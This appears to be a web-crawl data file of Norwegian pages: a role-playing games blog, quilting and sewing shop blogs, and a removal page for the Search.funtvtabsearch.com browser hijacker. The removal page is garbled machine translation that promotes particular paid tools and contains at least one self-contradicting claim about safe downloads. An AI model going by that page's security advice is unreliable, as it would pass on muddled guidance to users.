sp\u00f8r \u00abhvor langt er du villig til \u00e5 g\u00e5 for \u00e5 f\u00e5 det du vil?\u00bb. Interaktive dramatiske strukturer? Hva som helst av Paul Czege, f. eks. My Life with Master eller Bacchanal (sterkt anbefalt, men spilles kun med venner som t\u00e5ler en st\u00f8yt).\n\nMen det eneste det ser ut som dataspillfirmaene har \u00f8nsket \u00e5 ta med seg fra rollespillverdenen, er\u2026 at man kan samle XP for \u00e5 g\u00e5 opp i level. N\u00e5r et dataspill lar spillerne velge sin egen vei (\\!), og slik lede spillet mot forskjellige avslutninger (\\!\\!\\!), vekker det stadig oppsikt hos anmeldere og publikum.\n\nKan noen v\u00e6re s\u00e5 snill og gi disse folkene et rollespill?\n\nTing er selvsagt ikke fullt s\u00e5 ille. Det finnes firmaer som tar rollespillbaserte id\u00e9er over i det digitale. Det f\u00f8rste online-spillet som fikk mer enn \u00e9n million spillere, MadMaze, ble skapt av Greg Costikyan (for oss rollespilltryner kjent som \u00abhan som lagde Toon\u00bb). De f\u00f8rste nettverksbaserte VR-sentrene (husker dere VR?) ble satt i gang av Jordan Weisman, som senere utviklet ARGen The Beast (vi kjenner ham som \u00abhan som lagde Shadowrun og Earthdawn\u00bb). Osv.\n\nDet er ganske frustrerende \u00e5 se diskusjonene av \u00abspill\u00bb i norske medier, og vite at dersom debattanter og bloggere \u2013 og ikke minst spillprodusenter \u2013 hadde sett litt bortenfor sin egen tue, ville det som i dataverdenen er ul\u00f8ste problemer, sannsynligvis forlengst v\u00e6rt l\u00f8st. Sett av en kveld til et ordentlig rollespill med en gjeng gode venner. Spill. L\u00e6r. Reflekter.\n\n*Ja, jeg er arrogant som fy i denne bloggposten, men egentlig er jeg en snill og hjelpsom fyr. Hvis noen vil ha tips, st\u00e5r jeg mer enn gjerne til disposisjon \u2013 og hvis det er snakk om \u00e5 teste ut et spill, bare kj\u00f8p inn en flaske r\u00f8dvin og send meg en mail p\u00e5 matthijs1000 \\[at\\] hotmail \\[dot\\] com.*\n\n## Rollespillere p\u00e5 Tekstallianse\n\nI g\u00e5r var vi p\u00e5 Tekstallianse, et \u00e5rlig arrangement p\u00e5 Litteraturhuset hvor en mengde sm\u00e5forlag, fanzinister og lignende samles for \u00e5 vise hva de driver med. \u00abVi\u00bb er en gjeng rollespillforfattere og -aktivister; vi dro ned for \u00e5 vise oss frem, og se om dette kanskje var et sted for oss.\n\nDet viste seg \u00e5 v\u00e6re interessant nok; men nok en gang satt jeg med f\u00f8lelsen av at det fins en slags enveiskommunikasjon mellom rollespill-formen og resten av verden. Der rollespill tar til seg id\u00e9er fra film, litteratur, tegneserier, psykologi, antropologi osv osv osv, er det f\u00e5 som er \u00e5pne for rollespillets potensiale. Det resulterte i at flere av oss dro hjem med fulle b\u00e6renett \u2013 men vi solgte ikke en eneste bok, ikke ett eneste hefte. (P\u00e5 den annen side stakk vi av fra standen i et par timer for \u00e5 drikke \u00f8l, s\u00e5 det kan hende vi hadde n\u00e5dd ut til noen hvis vi hadde gjort en st\u00f8rre innsats.)\n\nMin personlige loot besto av:\n\n\u2013 Fire CD'er med st\u00f8y og lignende musikk. Jeg har brukt litt av s\u00f8ndagsmorgenen p\u00e5 \u00e5 h\u00f8re p\u00e5 det, og spille det for barna; de hadde ganske klare og umiddelbare assosiasjoner, fra fire\u00e5ringen som syns noe av musikken h\u00f8rtes ut som \u00abet p\u00f8kelse\u00bb eller \u00aben hai\u00bb, til \u00e5tte\u00e5ringen som snakket om vogner som ble trukket av kjettinger under jorden.\n\n\u2013 G\u00e6a, av Sigurd Tenningen. Jeg er halvveis i boken, og kommer nok til \u00e5 lese den igjen. Jeg merker at jeg ikke har de brede referansene til norsk samtidslitteratur \u2013 for meg minner dette om Simen Hagerups tekster, men kanskje litt mer tilgjengelige. Sekvenser med oppramsing av ord som begynner p\u00e5 \u00abK\u00bb er for meg uforst\u00e5elige greier; men den f\u00f8rste teksten, \u00abArkhipelagos\u00bb, var en poetisk sak med mange lag og en del subtiliteter som jeg tror vil gj\u00f8re seg godt ved en senere nylesning.\n\n\u2013 Piccadilly Line, et magasin av\u2026 noen dansker (jeg har ikke heftet foran meg). Snurrige og undrende tekster om gamle museer, etnografiske ekskursjoner ut i n\u00e6rmilj\u00f8et (boligblokker\\! sigarettstumper\\!), og noen greier om selvkirurgi som jeg ikke helt har v\u00e5get \u00e5 lese enda.\n\n\u2013 Et lite hefte med dr\u00f8mmer om en dansk politiker. Forskjellige diktere har skrevet ned hver sin dr\u00f8m. Dette er visst en serie p\u00e5 minst fire hefter; en morsom id\u00e9, jeg har lest et par av diktene, men ikke alle. Man m\u00e5 selv skj\u00e6re opp sidene, og det har jeg ikke gjort enda, det er en grense \u00e5 overskride for meg.\n\n\u2013 Andreas Tellefsens \u00abPlumbo\u00bb \\#2. Jeg har alltid likt Andreas' tegninger, og \u00f8nsker meg plakater; men heftet f\u00e5r holde inntil videre.\n\nDe mange formatene, de mange m\u00e5tene \u00e5 angripe tekst og publikasjon p\u00e5, var inspirerende og ga id\u00e9er til egne prosjekter. Spesielt p\u00e5minnelsen om at man kan lage veldig vakre ting i meget sm\u00e5 opplag, for et kresent publikum. Hadde man bare v\u00e6rt mer fingernem og hatt bedre \u00f8ye for detaljer\u2026\n\nDr\u00f8mmen akkurat n\u00e5 er \u00e5 inng\u00e5 et samarbeid med et miniforlag om utgivelse av et rollespill.\n\n## \u00c5 handle vs. \u00e5 lese: Forbrukerkultur og\u00a0deltagerkultur\n\nPosted on juli 30, 2009 | 2 kommentarer\n\nEnhver medieanalytiker vil fortelle deg at det \u00e5 lese en tekst er en aktiv handling. Du tolker teksten (og med \u00abtekst\u00bb kan man godt mene en film eller et kunstverk), du lar dens referanseramme interagere med din egen, du gjenskaper meningen i ditt eget hode.\n\nDette er \u00e9n mulig m\u00e5te \u00e5 se virkeligheten p\u00e5, en modell \u00e5 basere videre analyser og tanker p\u00e5. Men det b\u00f8r ikke v\u00e6re den eneste. Og for meg, som rollespiller, *kan* den ikke v\u00e6re den eneste. For som rollespiller er jeg ikke bare en fortolker av en statisk tekst; jeg er en skaper av tekst i stadig endring, som endrer innhold og mening etterhvert som jeg f\u00e5r den fortolket av andre deltagere, noen ganger i retrospekt. Det er ikke bare \u00abmeg i forhold til teksten\u00bb \u2013 det er \u00abmeg i forhold til teksten, og i forhold til de andres forhold til teksten, og i forhold til de andres forhold til mitt forhold til teksten\u00bb.\n\nDet er f\u00e5 andre medier hvor denne konstante interaksjonen er en fast del av formen. I de fleste former er skaperen av teksten separert i b\u00e5de tid og rom fra leseren av teksten. Skapere \u2013 forfattere, malere, komponister \u2013 er en egen art, en klasse for seg. De er *auteurer*, og det \u00e5 v\u00e6re auteur krever (eller fremelsker?) gjerne en bestemt type personlighet: Man m\u00e5 foretrekke sin egen stemme fremfor andres.\n\nAuteuren sender sitt verk ut i verden, og kommer sjelden i direkte dialog med leserne \u2013 forbrukerne. Han eller hun misliker faktisk ofte at andre interagerer med teksten p\u00e5 nye m\u00e5ter. \u00abLes gjerne boken min \u2013 men ikke dikt videre p\u00e5 den noe annet sted enn inne ditt eget hode\\!\u00bb\n\nDe f\u00e5 gangene man ser noe i andre medier som ligner p\u00e5 rollespillets konstante utfordringer, reforhandlinger, rekursive niv\u00e5er med fortolkning og mening, er n\u00e5r to skapere m\u00f8tes og utfordrer hverandre. Lars von Triers \u00abFem Bensp\u00e6nd\u00bb minner p\u00e5 mange m\u00e5ter om m\u00f8tet mellom en utfordrende spilleder \u2013 eller fasilitator \u2013 og en dyktig gruppe: Den kreative spenningen mellom dem, \u00f8nsket om \u00e5 dytte hverandre videre og l\u00f8fte hverandre h\u00f8yere, og den vennlige, men samtidig skarpe og sterkt personlige utfordringen skaper en intensitet som man kun f\u00e5r i m\u00f8tet mellom skapende mennesker.\n\nI en kultur som v\u00e5r, som i stor grad er en forbrukerkultur, hvor man betaler for underholdning og klager hvis man ikke blir tilfredsstilt, er godt rollespill en av f\u00e5 underholdnings- og kunstformer som b\u00e5de krever og bel\u00f8nner deltagelse. Deltagerkulturens krav til en funksjonell innstilling \u2013 det \u00e5 godta utfordringer som del av et positivt, kreativt samspill \u2013 er noe man m\u00e5 godta for \u00e5 utnytte formen til fulle.\n\nN\u00e5r man har smakt denne n\u00e6rmest forbudne frukten, er det \u2013 i hvert fall for meg \u2013 veldig vanskelig \u00e5 legge den fra seg igjen. Det \u00e5 sitte og lese en tilfeldig forfatters ensidige vinkling p\u00e5 sitt tema, gir ikke den samme tilfredsstillelsen lenger. Hvor er de mange fasettene? Hvor er muligheten for \u00e5 diskutere, endre, p\u00e5virke, se fra mange sider? Det skal mye til for \u00e5 imponere, og man ender ofte opp med \u00e5 f\u00f8le seg undervurdert som leser.\n\nS\u00e5: Fuck passive arts, som Martin Ericsson pleier \u00e5 si. Noe av det viktigste vi kan l\u00e6re som individer i et samfunn, er \u00e5 delta, \u00e5 p\u00e5virke, \u00e5 la v\u00e5r stemme h\u00f8res i et fungerende samspill med andre mennesker. Jeg \u00f8nsker den samme typen mennesker i samfunnet som jeg vil ha i min egen rollespillgruppe: Folk som ikke sitter og holder kjeft \u2013 men som lytter til det andre sier, tar det til vurdering, og kommer med sine egne innspill uten \u00e5 v\u00e6re redd for \u00e5\u00a0 bli utfordret og fortolket.\n\n## De intellektuelle rollespillene\n\nPosted on juli 10, 2009 | 5 kommentarer\n\nDet er lov \u00e5 ha det g\u00f8y. \u00c5 gj\u00f8re ting bare for moro skyld. Det er alltid \u2013 vel, i hvert fall ofte \u2013 moro \u00e5 spille rollespill som handler om \u00e5 sl\u00e5 ned monstre, ta skattene deres, og bli enda flinkere til \u00e5 sl\u00e5 ned monstre. Men noen ting funker best hvis du tar dem alvorlig.\n\nI de siste \u00e5rene har rollespill\\* utviklet seg kraftig som form. Der det f\u00f8r mest var snakk om en slags brettspill med rammefortellinger fra kjente b\u00f8ker og filmer, diskuterer spillere og spillskapere n\u00e5 ting som gruppedynamikk, subliminale f\u00f8ringer i spilltekster, strukturert frihet og kortformer som rollespillpoesier og novellescenarier. H\u00e5nd i h\u00e5nd med denne utviklingen i form, denne evnen og viljen til \u00e5 ta rollespillformen seri\u00f8st og se p\u00e5 den med kritiske \u00f8yne, kommer mulighetene til \u00e5 takle nye temaer.\n\nI l\u00f8pet av kort tid har emner som f\u00f8r ble sett p\u00e5 som h\u00f8yst kontroversielle (\u00abman kan da ikke lage et spill om dette\\!\u00bb) blitt s\u00e5 vanlige at man ikke lenger leer p\u00e5 \u00f8yenbrynene n\u00e5r man ser dem i spillform. Fortellinger fra slaveriet i de amerikanske s\u00f8rstater? Check. Skjebnen til polsk partisan-ungdom under annen verdenskrig? Javisst. Guernica? S\u00e5 absolutt.\n\nI dag snublet jeg over rollespillet Neda (gratis PDF), som skal spilles over Twitter. Det handler om demonstrasjonene i Iran i juni 2009. Det vil si \u2013 det er ikke bare det det handler om, p\u00e5 samme m\u00e5te som \u00abTilv\u00e6relsens uutholdelige letthet\u00bb ikke bare handler om en sexy dame med hatt. If\u00f8lge spillskaperen Uffe Thorsen handler det \u2013 fritt oversatt \u2013 om hvor vanskelig det kan v\u00e6re \u00e5 f\u00e5 fortalt sin historie, og hvor vanskelig det kan v\u00e6re \u00e5 skjelne virkelighet fra fiksjon i en annen verden. Det finnes ingen sentral \u00abvirkelighet\u00bb deltagerne rapporterer fra; den skapes der og da, av deres Twitter-meldinger. En etter en stilner stemmene, mister adgangen til omverdenen, til en enslig deltager st\u00e5r igjen \u2013 som siste stemme.\n\nNeda stiller \u00e5pne sp\u00f8rsm\u00e5l om virkeligheten. Ikke bare om virkelighetens hendelser, men ogs\u00e5 om m\u00e5ten den konstrueres p\u00e5, aktivt, av akt\u00f8rer med sin egen dagsorden. Og i spillet eksisterer kun denne sosiale konstruksjonen \u2013 som ramme for deltagernes videre handlinger. Hva skjer med rollenes identitet i en mutabel virkelighet? Og hva kan deltagerne, spillerne selv, trekke ut fra dette?\n\nSlike spill har sin egen m\u00e5lgruppe. De ville aldri n\u00e5dd meg da jeg var fjorten, og ville finne spillet som hadde den kuleste magien, de t\u00f8ffeste v\u00e5pnene og de ondeste monstrene. Men disse spillene \u2013 gjerne skrevet og spilt av h\u00f8yt utdannede mennesker; psykologer, journalister, forfattere, professorer \u2013 dekker andre behov, andre \u00f8nsker. De blir verkt\u00f8y til \u00e5 forst\u00e5 og fortolke virkeligheten med, og radikale mentale rustninger som kan hjelpe spilleren til \u00e5 motst\u00e5 dysfunksjonalitet b\u00e5de i personlige relasjoner og samfunnsforhold.\n\nN\u00e5r man har st\u00e5tt p\u00e5 mange sider i mange konflikter (ikke alltid de riktige sidene), og v\u00e6rt mange mennesker i mange situasjoner (ikke alltid de gode menneskene), blir det vanskeligere \u00e5 tro p\u00e5 institusjonalisert l\u00f8gn, gruppetenkning og systemmaktens selvsagthet.\n\nNoen rollespill er vaksiner mot memetiske virus. Og er det noe vi trenger, i alle verdener, m\u00e5 det vel v\u00e6re det.\n\n*\\* Vi snakker her om verbale rollespill \u2013 av typen med terninger, blyant og papir.*\n\n", "language": "no", "__index_level_0__": "23916832-1eae-40ef-936c-dcb538b95379"}
{"url": "http://idehusetarticquilter.blogspot.com/2008/01/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:40:46Z", "text": "\n\n## torsdag 31. januar 2008\n\n### S\u00e5 kom sn\u00f8en...\n\nVi har nesten hatt en sn\u00f8fri vinter .....inntil for noen dager siden. Ungene gleder seg over endelig \u00e5 kunne bruke ski og akeutstyr. I dag blir det litt vinterstemning fra Finnsnes.\n\nI morgen, fredag, reiser vi 3 stykker p\u00e5 Janome messa. Vi gleder oss til \u00e5 g\u00e5 p\u00e5 kurs, se nyheter og treffe trivelige folk. Ha ei flott helg.\n\nIdeHuset, Artic Quilter  kl. \n\n21:42    Ingen kommentarer:   Linker til dette innlegget         \n\n## torsdag 24. januar 2008\n\n### Sola er kommet...\n\nDa er sola endelig kommet tilbake igjen.\n\nVi feirer med supertilbud p\u00e5 gul stoffpakke. Du f\u00e5r **10 stk 30-centimetre**, til kun kroner **249,-**pr pakke (ord. 420,-). Gjelder ut januar.  \n\n\n\nAnnAKa spisebrikke \"skitur er her sydd i japanske stoffer i en litt varmere fargetone.\n\nAldeles herlige disse figurene.\"\n\n\"L\u00f8per med linramme\" har ogs\u00e5 f\u00e5tt en ny variant i stoffvalg- syrlig v\u00e5rgr\u00f8nt.\n\n15:14    Ingen kommentarer:   Linker til dette innlegget         \n## onsdag 16. januar 2008\n\n### Stoffpakker...\n\nN\u00e5r det kommer nye stoff inn i butikken , \"kribler\" det i fingrene for \u00e5 starte med nye prosjekt. Man ser andre og spennende muligheter n\u00e5r tradisjonelle farger og m\u00f8nstre dukker opp i nye kombinasjoner. Vi pr\u00f8ver snarest mulig \u00e5 lage stoffpakker, slik at kundene enkelt kan finne stoff som harmonerer sammen.  \n  \n  \nVi har f\u00e5tt inn en del stoff fra serien \"flirtations\", som er satt sammen til en flott pakke p\u00e5 9 biter \u00e0 30 cm. Flotte, spreke stoffer som harmonerer i r\u00f8dt, rosa, brunt og hvitt.*Stoffpakke \"flirtation\" blir kjempet\u00f8ft til et sengeteppe.*\n\n  \n**Stoffpakke \"Ivana\" i nydelige rosa og lillatoner**. *\"Ivana\", stoffene til \u00e5rets sommer teppe? Kan nesten kjenne blomsterduften..*\n\n  \n**Stoffpakke \"My valentine\"** *Hvem er din valentine?*\n\n  \n**Stoffpakke \"musikk\"**\n\nToalettmapper sydd av musikkpakken. Popul\u00e6rt til den musikkglade.Alle stoffpakkene finnes i v\u00e5r nettbutikk.\n\n  \nH\u00e5per dere ogs\u00e5 f\u00e5r inspirasjon av \u00e5 se nye stoffer og sammensettninger.\n\n  \nHa en fin dag.\n\n13:57    Ingen kommentarer:   Linker til dette innlegget         \n## torsdag 10. januar 2008\n\n### Mot lysere tider...\n\nHos oss i nord er det fortsatt m\u00f8rketid ute. Men det er jo deilig \u00e5 se at sola n\u00e6rmer seg dag for dag. P\u00e5 Finnsnes vil vi kunne se sola ca 20. januar hvis det er skyfri himmel.  \n  \n  \nFor \u00e5 f\u00e5 litt nye friske farger etter jula, har vi satt sammen en flott, litt v\u00e5rlig, stoffpakke som vi holder p\u00e5 \u00e5 sy et teppe/duk av.Med i stoffpakken er det en enkel s\u00f8m og skj\u00e6re beskrivelse p\u00e5 teppet. Pakken koster kr 398,-og inneholder 9 forskjellige 30 centimetere. \u00d8nsker dere noen fine vinterdager.\n\n## fredag 4. januar 2008\n\n### Nye muligheter...\n\nGodt nytt \u00e5r til alle sammen\\! Ja, da var jula over for denne gang. I butikken holder vi p\u00e5 \u00e5 rydde gavedelen for \"julest\u00e6sj\". Ellers er jo dette tiden p\u00e5 \u00e5ret der nye prosjekt startes og det \"kl\u00f8r\" litt i fingrene for \u00e5 komme i gang med sying eller annen trivelig hobby.  \n  \n  \nHer er en fin l\u00f8per \u00e5 starte det nye \u00e5ret med. \"L\u00f8per med linkant\" er en enkel teknikk som g\u00e5r raskt \u00e5 sy. Vi selger m\u00f8nster kr 119,- og stoffpakke kr 250,- (to fargevarianter) Blir lagt ut i v\u00e5r nettbutikk i l\u00f8pet av de n\u00e6rmeste dagene, eller ta kontakt pr tlf /mail hvis du \u00f8nsker \u00e5 bestille.  \nDet jobbes ogs\u00e5 med kursplan for v\u00e5r -halv\u00e5ret, vi h\u00e5per \u00e5 ha den klar i l\u00f8pet av januar.  \n  \n  \n\u00d8nsker dere en god start p\u00e5 det nye \u00e5ret. Et \u00e5r som forh\u00e5pentligvis vil gi mange nye muligheter til \u00e5 utfolde kreativiteten og skapergleden.\n\n## GLEDER\n\n*Gleden over \u00e5 f\u00e5 lov til \u00e5 skape noe eget er en stor ingrediens av v\u00e5r livskvalitet. Enda st\u00f8rre blir gleden n\u00e5r det vi bruker timevis p\u00e5 \u00e5 produsere bringer frem latter og glede hos mottaker. I denne bloggen \u00f8nsker vi \u00e5 fortelle litt om hverdagen i v\u00e5r butikk.Vise litt fra forskjellige kurs og hva som kommer inn av nyheter.V\u00e5rt \u00f8nske og h\u00e5p er \u00e5 kunne spre litt glede i hverdagen, gi deg et lite smil om munnen som kanskje kan gi inspirasjon til \u00e5 skape noe eget. Ha en flott uke*.  \n\n    \n\n\n\n", "language": "no", "__index_level_0__": "d976a31e-d5c3-4aa3-af37-dc46011b373b"}
{"url": "http://www.4-cybersecurity.com/no/fjern-search-funtvtabsearch-com/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:16:38Z", "text": "There are not many good anti-malware software's with high detection ratio. Our malware research team recommend to run several applications, not just one. These antimalware software's which listed below will help you to remove all pc threats like **Search.funtvtabsearch.com**.\n\nForuten avklare merkbar endringene FunTvTab utf\u00f8rer p\u00e5 datamaskinen, er det viktig \u00e5 finne ut hva som er \u00e5rsaken til dem. Dette programmet er f\u00f8rst og fremst opptatt vise reklame innhold produsert av 3rd parti. Det finnes to grunnleggende metoder denne plug-in sysselsetter \u00e5 gj\u00f8re. Den f\u00f8rste er visningen av endrede s\u00f8keresultater av Yahoo Search. De setter sponset 3dje part annonsering nettsteder. Den andre metoden inneb\u00e6rer \u00e5 vise 3rd parti annonser p\u00e5 ikke-sponset nettsteder (de vanlige nettstedene som ikke tilh\u00f8rer 3rd parti). Flere strategier av FunTvTab omfatter \u00e5 holde orden p\u00e5 surfing, lagre leserlogg og levere den til 3rd parti.\n\nInstallasjon av FunTvTab \u00e5pner ormebolet. PCen er opptatt med visning av mistenkelig 3rd parti annonser, s\u00f8ket resultatene er \u00f8delagt, nettleseren fryser og krasjer. Det er p\u00e5 tide du slette dette programmet fra systemet.\n\n## Hvordan er Search.funtvtabsearch.com nettleser kaprer spre?\n\nSearch.funtvtabsearch.com er ikke slik en nyttig produkt som kan tilbys alene. Dermed legges den til andre programmer som har noen nyttige funksjoner og er allerede ganske popul\u00e6rt blant brukere. Dette omfatter media spillerne, video kodeker og lignende programmer. Samlet mont\u00f8rer kan komme fra slike legitime nedlasting nettsteder som Softonic, CNET, Brothersoft og andre. Det er viktig \u00e5 understreke at det faktum at du laste ned og installere en app fra en legitim kilde sikrer du f\u00e5r noen PUPs (potensielt u\u00f8nskede programmer) p\u00e5 datamaskinen. Det eneste som kan beskytte PCen er modusen du utf\u00f8rer installasjonen. Denne modusen er avansert/Custom installasjonsinnstillingene. Alltid velge innstillingene. De vil gi deg muligheten til \u00e5 avslutte installasjonen av u\u00f8nskede programmer.\n\nFunTvTab er ikke noe mer enn en falsk profet. Jo tidligere bli du kvitt det, jo bedre. Bruke profesjonell malware fjerning verkt\u00f8y som SpyHunter, Malwarebytes eller StopZilla. De vil ta seg av alt, du trenger bare \u00e5 klikke en knapp. Eller ta en titt p\u00e5 v\u00e5r gratis manuell fjerningsinstruksjoner som tilbys under.\n\n### **Vinduer OS p\u00e5virket av Search.funtvtabsearch.com\n\n#### **Advarsel\\! Flere anti-virusprogrammer har nettopp oppdaget malware muligheten relatert til Search.funtvtabsearch.com.\n\n", "language": "no", "__index_level_0__": "df312731-1c00-481d-8ea7-927b37daaf55"}
{"url": "http://prinsessevilikke.blogspot.com/2011/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:12:36Z", "text": "\n\n## l\u00f8rdag 17. desember 2011\n\n### Kjoler til krudt\n\n\n\nJeg har sydd kjoler til krudt igjen. De er sydd i et strikket stoff med en herlig flosset bakside.\n\n\n\nStoffene er kj\u00f8pt hos Ohlssons og m\u00f8nsteret er eget.\n\nBest akkurat n\u00e5: Butikken er godt bes\u00f8kt og g\u00e5r som bare det\\!\n\nVerst akkurat n\u00e5: Jeg mister snart syrommet da vi skal inn med nytt kj\u00f8kken..\n\n   kl. \n\n09:51    3 kommentarer:           \n\n## s\u00f8ndag 11. desember 2011\n\n### Hjort og ugle \\*solgt\\*\n\n  \nPutene har skjult glidel\u00e5s i bunnen. Den er 60 x 60. Lik p\u00e5 begge sider.  \n002  \n\n   kl. \n11:26    2 kommentarer:           \n\n## onsdag 7. desember 2011\n\n### Snille nissemor\n\nI dag har jeg v\u00e6rt snill nissemor \u00e5 sydd nisseluer til begge nissebarna og kjole til nissejenta. Nissejenta trengte visst ny kjole til hun skulle p\u00e5 juleverksted i morra. Jeg hadde ikke mere r\u00f8d fleece igjen s\u00e5 da ble luene i velour. De er veldig enkle og er sydd p\u00e5 f\u00e5 minutter. Inspirert av Ohelene.\n\n\n\nKjolen tok lengre tid \u00e5 sy. Den er i bomullstoffer og dermed ble det masse stikninger.\n\n\u00a0\n\nSkr\u00e5b\u00e5nd og blonde har den ogs\u00e5 f\u00e5tt. I morra skal den brukes med en hvit genser og str\u00f8mpebukse.\n\n\n\n\n\n\n\n\nPluss: Jeg fikk til \u00e5 sy kante \u00e5pningen bak p\u00e5 kjolen med skr\u00e5b\u00e5nd og det ble ganske s\u00e5 bra.\n\nMinus: Kaldt hus\\! (Og de manglende pakkene p\u00e5 kalenderen..)\n\n   kl. \n\n10:37    1 kommentar:           \n\n Etiketter: Kjole \n\n## mandag 28. november 2011\n\n### krudt\\!\n\n\n\nN\u00e5 er endelig butikken \u00e5pnet\\! Den ligger i et koselig gammelt hus i \u00d8vrebyen i Kongsvinger. (Bilder - Helene Ness, Lovelyness.no)\n\n\n\nOPPSKRIFT PAA KRUDT: 5 fargerike damer, en mann med sigar og en klype salt. Blandes forsiktig for haand.\u00a0\n\n\n\nButikken krudt best\u00e5r av Cecilie Samways (glass), Helene Ness (foto og l\u00e6r), Ola Flygin (bokantikvar), Randi Drognes (strikkeprodukter), Veronika Sint-Jago (malerier) og meg (s\u00f8m)\\!\n\nVi har ogs\u00e5 gamle m\u00f8bler, interi\u00f8rartikler og stearinlys for salg.\n\n\u00a0\n\nDette er kj\u00f8kkeninnredningen som opprinnelig stod i huset.\n\n\n\nVi liker det gamle og slitte, samt \u00e5 ta naturen med inn.\u00a0 Kontraster er spennende\\!\n\n\n\nBokantikvariatet.\n\n\n\nHuset er bygd rundt et steinhus. Dette steinhuset kan ha v\u00e6rt et fengsel eller et kruttlager (kanskje begge deler?) P\u00e5 bildet over kan man se deler av dette huset.\n\n\n\nBadet M\u00c5 alle ta en tur innom\\! Cecilie har laget en helt fantastisk vask.\n\n\n\nVi fikk en skikkelig pang\u00e5pning. Ordf\u00f8reren klippet snoren og \u00e5pnet butikken.\n\n\n\nD\u00f8ren er produsert p\u00e5 Ilag og er en kopi av d\u00f8ren som tidligere stod p\u00e5 samme sted. Den satte huseier Ronny Ruud inn natten f\u00f8r \u00e5pningen\\! \u00a0\n\nDet har g\u00e5tt med mange timer i lokalene. Vi har st\u00e5tt for malingen, mens huseier har bygd om fra leilighet til butikk. Dette inneb\u00e6rer \u00e5 fjerne d\u00f8rer og forst\u00f8rre \u00e5pninger blandt annet. Noen rom har f\u00e5tt store forandringer og kan ikke kjennes igjen.(Jeg skal se om jeg kan f\u00e5 noen f\u00f8r-bilder av huseier.)\n\nTusen tusen takk til alle som har gjort dette mulig\\! N\u00e5 m\u00e5 alle som kan krype og g\u00e5 ta en tur til butikken\\!\n\n\u00a0\n   kl. \n\n08:52    4 kommentarer:           \n\n## fredag 11. november 2011\n\n### Gr\u00e5 velourkjole Str S\n\n\n\nDenne er sydd i myk velour og jersey. Den kommer til salg p\u00e5 Krutt. St\u00f8rrelse S.\n\n10:01    3 kommentarer:           \n\n Etiketter: Kjole \n\n## torsdag 10. november 2011\n\n### Kjoler for salg p\u00e5 Krutt\n\nVi har endelig funnet ut hva \"barnet\" skal hete. Butikken skal f\u00e5 navnet Krutt. Den 24. november kl 13 skal ordf\u00f8reren komme \u00e5 klippe snoren. Da er dere alle hjertlig velkomne\\!\n\n\n\nDenne hverdagskjolen er i str M og L. De er sydd av myk og deilig velour og har lommer i sidene.\n\n\n\n\u00a0\n\n018\n\nDen kommer i to farger og to st\u00f8rrelser.\n\n\u00a0\n   kl. \n\n02:36    1 kommentar:           \n\n## onsdag 9. november 2011\n\n### Polkadotter\\!\n\n\n\nI g\u00e5r sydde jeg to topper til meg selv etter inspirasjon fra Jippijaja og Jippiyes. De er veldig enkelt sydd med rullefald rundt kantene. Jeg har brukt strikktr\u00e5d i steden for l\u00f8pegang og strikk. De er sydd av polkadot-jersey fra Textart.\n\n\n\n   kl. \n\n12:16    2 kommentarer:           \n\n## fredag 9. september 2011\n\n### Biler i bruk\n\n\n\nGenseren har en super passform, syns jeg. Fint at den er god p\u00e5 lengden n\u00e5 som vinteren kommer. Mer om m\u00f8nster og stoffer kan leses i en tidligere tr\u00e5d.\n\n\n\nHan \u00f8nsker seg veldig duplo-fly\\!\n\n   kl. \n\n10:18    4 kommentarer:           \n\n## l\u00f8rdag 3. september 2011\n\n### Stripete elefant\\!\n\nN\u00e5 begynner dere vel snart \u00e5 bli lei av elefanter. Her kommer enn\u00e5 en i kjoleversjon.\n\n\n\nSkal pr\u00f8ve \u00e5 f\u00e5 kommet med noen actionbilder senere.\n\n\n\nHer er alle stoffene fra stoff og stil, tror jeg.\n\n   kl. \n\n## fredag 2. september 2011\n\n### Et gjeng med biler\\!\n\n\n\nDisse ble sydd i full fart en kveld. Lillemann har vokst ut av alle kl\u00e6rne sine og m\u00e5tte ha noe nytt \u00e5 bruke i barnehagen. De er i str 116. Bilstoffet og den r\u00f8de ribben er fra Sydilla.no og resten er fra stoff og stil.\n\n\n\n\u00a0\n\n   kl. \n\n03:02    4 kommentarer:           \n\n## torsdag 1. september 2011\n\n### Elefant i skyene\\!\n\n\n\nDa jeg klipte den forrige elefantgenseren s\u00e5 klarte jeg \u00e5 klippe feil. Klipte h\u00f8yre erm i gr\u00e5tt i steden for venstre. Derfor ble det en genser til.\n\nStoffer fra Sydilla.no, Cetho/Jny og Stoff og stil. M\u00f8nster fra Ottobre 4/11.\n\n   kl. \n\n11:58    5 kommentarer:           \n\n Etiketter: Genser \n\n \n## tirsdag 30. august 2011\n\n### Jeg skal \u00e5pne butikk\\!\\!\n\nEller det vil si g\u00e5 inn i et kreativt samarbeid med andre. Vi er n\u00e5 en som skal drive et bokantikvariat, en glasskunstner, en som lager l\u00e6r og skinnprodukter (pluss fotograf), en som strikker og meg som da syr. Tanken er at det skal v\u00e6re b\u00e5de butikk og verksted. \u00a0\n\n\n\nHultgreng\u00e5rden er blant de eldste, eksisterende byggene  \ni \u00d8vrebyen, den sjarmerende trehusbebyggelsen under  \nKongsvinger festning. Det ble bygget f\u00f8r 1720, og ikke  \nlenge etter var det vertshus. Anne Overud tok over da  \nmannen d\u00f8de og ble landets f\u00f8rste, kvinnelige  \nmarketenterske.\n\nEtter hvert ble huset handelsg\u00e5rd, garveri og skyssstasjon.  \nDet ligger p\u00e5 hj\u00f8rnet av L\u00f8kkegata og Storgata, selve hjertet i \u00d8vrebyen.\n\n\n\nDet er mye som skal gj\u00f8res med lokalet for vi kan starte opp. En ny inngangsd\u00f8r og vindu skal inn (p\u00e5 samme sted som p\u00e5 bildet) og det m\u00e5 bygges om fra leilighet. Butikken blir i neste hele 1. etasje. Vi kommer til \u00e5 ta inn produkter i kommisjon ogs\u00e5.\n\nOppdateringer kommer\\!\n\n   kl. \n\n14:02    10 kommentarer:           \n\n## s\u00f8ndag 28. august 2011\n\n### Elefantastisk\\!\n\n\n\n\u00a0\nHerlige lille gutten min har f\u00e5tt seg ny genser. M\u00f8nsteret er fra Ottobre og stoffene er fra Sydilla, Cetho og stoff og stil.\n\n\n\n\n\nEn liknende i andre 